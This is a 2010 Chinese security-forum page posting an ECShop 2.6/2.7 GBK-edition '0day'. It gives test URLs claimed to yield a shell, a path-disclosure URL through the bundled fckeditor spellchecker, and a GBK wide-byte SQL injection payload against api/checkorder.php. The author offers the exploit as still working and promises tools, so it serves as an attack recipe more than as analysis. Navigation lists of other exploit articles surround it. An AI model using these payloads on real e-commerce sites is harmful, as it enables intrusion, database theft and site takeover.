首页
|
安全文章
|
安全工具
|
Exploits
|
本站原创
|
关于我们
|
网站地图
|
安全论坛
当前位置：
主页
>
安全文章
>
文章资料
>
漏洞资料
>文章内容
ecshop 通杀2.6*2.7 GBK版本 oday 爆路径 GetShell
来源：tools 作者：xianxian 发布时间：2010-12-13
以前很早的东西了 刚测试还可以用 至于有一些能不能搞 自行测试 这些东西都可以想起以前的兄弟们 我对这些已经不敢兴趣了 有什么好东西我会陆续放出 工具我会打包！
原黑小子他没发工具 我现在补上工具
ecshop 通杀2.6*2.7 GBK版本 附上测试图！
（射出编码 0x全部替换）
（替换后的编码）
（lcx的php注射工具 转换编码 From Hex 转换后得到MD5）
-----------------------------------------------------------------------------
测试
ecshop GetShell
http://localhost/ECShop/demo/index.php?a=1111111111%00
爆路径
http://localhost/ECShop/includes
\fckeditor\editor\dialog\fck_spellerpages\spellerpages\server-scripts/spellchecker.php
测试
http://localhost/api/checkorder.php?username=%CE%27
or 1=1 %23
[
推荐
] [
评论(0条)
]
[返回顶部]
[打印本页]
[关闭窗口]
匿名评论
评论内容：(不能超过250字，需审核后才会公布，请自觉遵守互联网相关政策法规。
§最新评论：
热点文章
·
XSOK环境变量本地命令执行漏洞
·
N点虚拟主机管理系统 致命漏洞。
·
南方数据企业网站管理系统V10.0
·
动网（DVBBS）Version 8.2.0 后
·
Solaris 10 telnet漏洞及解决
·
破解无线路由器密码，常见无线密
·
Nginx %00空字节执行php漏洞
·
WinWebMail、7I24提权漏洞
·
XPCD xpcd-svga本地缓冲区溢出漏
·
Struts2多个漏洞简要分析
·
ecshop2.72 api.php 文件鸡肋注
·
Discuz!后台拿Webshell 0day
相关文章
·
W78cms网站管理系统0day
·
dedecms 内容管理员后台程序下载
·
IIS写权限利用续以及写权限漏洞
·
搜狗输入法0DAY
·
Sdcms v1.3 漏洞利用
·
shopv8的注入漏洞利用
·
zblog最新漏洞及修复方法
·
Phpwind远程任意代码执行漏洞
·
ecshop后台写shell 0day
·
v5Shop 注入 漏洞整理
·
WinWebMail、7I24提权漏洞
·
ecshop v2.72 前台写shell漏洞
推荐广告
CopyRight © 2002-2022
VFocuS.Net
All Rights Reserved
推荐
评论(0条)
